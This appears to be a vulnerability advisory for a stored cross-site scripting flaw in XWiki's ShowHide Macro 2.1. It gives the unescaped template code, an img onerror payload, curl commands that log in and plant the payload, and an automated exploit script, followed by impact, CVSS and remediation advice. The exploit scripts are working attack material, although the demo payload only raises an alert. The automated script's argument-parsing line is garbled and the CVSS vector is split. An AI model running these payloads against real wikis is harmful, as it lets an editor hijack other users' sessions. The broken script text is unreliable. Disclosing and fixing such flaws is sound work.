Summary ShowHide Macro 2.1 renders the user-controlled showmessage parameter directly as HTML inside an {{html clean=false}} block. An EDIT-only user can inject an element with an event handler and execute arbitrary same-origin JavaScript when another user opens the page. Execution was independently confirmed in Chromium and Firefox without SCRIPT, PROGRAM, or ADMIN rights. Affected products
- Ecosystem: Maven
- Package: org.xwiki.contrib.showhide:showhide-macro
- Affected versions: 2.1 confirmed; 2.1.1-SNAPSHOT source remains affected.
- Patched versions: None known.
Preconditions
- ShowHide Macro 2.1 is installed.
- The attacker has EDIT rights on one page and can use the showhide macro.
- A victim opens the attacker-controlled page.
Technical details In src/main/resources/Macros/ShowHideMacro.xml, the macro creates an XML-escaped copy for the data-show-message attribute, but uses the original parameter as the anchor body:
#set($showmessage = $escapetool.xml($mparams.showmessage))
...
{{html clean=false}}
<a ... data-show-message="$showmessage" ...>$mparams.showmessage</a>
{{/html}}
Consequently, the attribute copy is safe, but HTML supplied in the anchor body is parsed as active markup. The same code is present at lines 421 and 435–436 of commit fd5819fe64ac30232b8c26e7f945062fa63d163d (2.1.1-SNAPSHOT), so the current development source also remains affected. Manual proof of concept Manual terminal reproduction As a Registered user with EDIT but without SCRIPT, PROGRAM, or ADMIN, create a page containing:
{{showhide showmessage="<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-xss','executed');alert('SHOWHIDE-XSS-'+document.domain)},1000)>"}}hidden{{/showhide}}
Open the page. Chromium and Firefox both displayed SHOWHIDE-XSS-127.0.0.1, and both reported the DOM marker data-showhide-xss=executed. The following terminal flow was executed successfully against the local lab:
BASE='http://127.0.0.1:8888'
JAR=$(mktemp -t showhide-curl.cookies.XXXXXX)
PAYLOAD="{{showhide showmessage=\"<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-curl','executed');alert('SHOWHIDE-CURL-'+document.domain)},1000)>\"}}hidden{{/showhide}}"
curl -sS -c "$JAR" "$BASE/bin/login/XWiki/XWikiLogin" -o /tmp/showhide-login.html
curl -sS -b "$JAR" -c "$JAR" -o /dev/null -X POST \
"$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
--data-urlencode 'j_username=cve' \
--data-urlencode 'j_password=cve1234' \
--data-urlencode "xredirect=$BASE/bin/edit/Sandbox/ShowHideCurlPoC"
curl -sS -b "$JAR" "$BASE/bin/edit/Sandbox/ShowHideCurlPoC" -o /tmp/showhide-edit.html
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' /tmp/showhide-edit.html | head -1)
curl -sS -b "$JAR" -o /dev/null -X POST \
"$BASE/bin/save/Sandbox/ShowHideCurlPoC" \
--data-urlencode "form_token=$TOKEN" \
--data-urlencode 'title=ShowHide curl PoC' \
--data-urlencode "content=$PAYLOAD" \
--data-urlencode 'syntaxId=xwiki/2.1' \
--data-urlencode 'comment=ShowHide low-user curl validation'
curl -sS -b "$JAR" "$BASE/bin/view/Sandbox/ShowHideCurlPoC"
The response contains active markup in the anchor body:
<a href="javascript:void(0)" ...
data-show-message="<img ... >" ...>
<img src=x onerror=setTimeout(function(){...},1000)>
</a>
The page used for the browser validation is:
http://127.0.0.1:8888/bin/view/Sandbox/ShowHideAlertPoC
 Automated proof of concept
set -euo pipefail
usage(){ echo "Usage: $0 -url <base_url> -u <username> -p <password>"; exit 1; }
BASE= USER= PASS=
while (($[[ -n "$BASE" && -n "$USER" && -n "$PASS" ]] || usage
RUN=$(date +%s); PAGE="ShowHideXSS${RUN}"; WORK=$(mktemp -d); JAR="$WORK/cookies"; LOGIN="$WORK/login"; trap 'rm -rf "$WORK"' EXIT
curl -sS -c "$JAR" -b "$JAR" "$BASE/bin/login/XWiki/XWikiLogin" -o "$LOGIN"
TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' "$LOGIN" | head -n1); [[ -n "$TOKEN" ]]
curl -fsS -b "$JAR" -c "$JAR" -o /dev/null -X POST "$BASE/bin/loginsubmit/XWiki/XWikiLogin" --data-urlencode "j_username=$USER" --data-urlencode "j_password=$PASS" --data-urlencode "form_token=$TOKEN"
echo "Admin HTTP: $(curl -sS -b "$JAR" -o /dev/null -w '%{http_code}' "$BASE/bin/admin/XWiki/XWikiPreferences")"
PAYLOAD="{{showhide showmessage=\"<img src=x onerror=setTimeout(function(){document.documentElement.setAttribute('data-showhide-xss','executed');alert('SHOWHIDE-XSS-'+document.domain)},1000)>\"}}hidden{{/showhide}}"
XML="<?xml version=\"1.0\"?><page xmlns=\"http://www.xwiki.org\"><title>ShowHide XSS</title><syntax>xwiki/2.1</syntax><content><![CDATA[$PAYLOAD]]></content></page>"
curl -fsS -b "$JAR" -X PUT -H 'Content-Type: application/xml' --data-binary "$XML" "$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE" >/dev/null
URL="$BASE/bin/view/Sandbox/$PAGE"
curl -fsS -b "$JAR" "$URL" | grep -F 'data-showhide-xss' >/dev/null
echo "Active event handler confirmed. Open as victim: $URL"
chmod +x exploit.sh
./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234
 Impact An attacker can execute JavaScript in the XWiki origin with a victim's authenticated session, read data available to the victim, and perform actions using the victim's rights. A victim must visit the attacker's page. Severity
- Provisional severity: High
- Provisional CVSS 4.0: 8.6
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI
/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Weaknesses
- CWE-79: Improper Neutralization of Input During Web Page Generation
Suggested remediation Render showmessage as escaped text, or pass it through the appropriate HTML serializer before inserting it into the anchor body. Keep the encoded value used by data-show-message separate from displayed text and add a regression test with an image event handler. |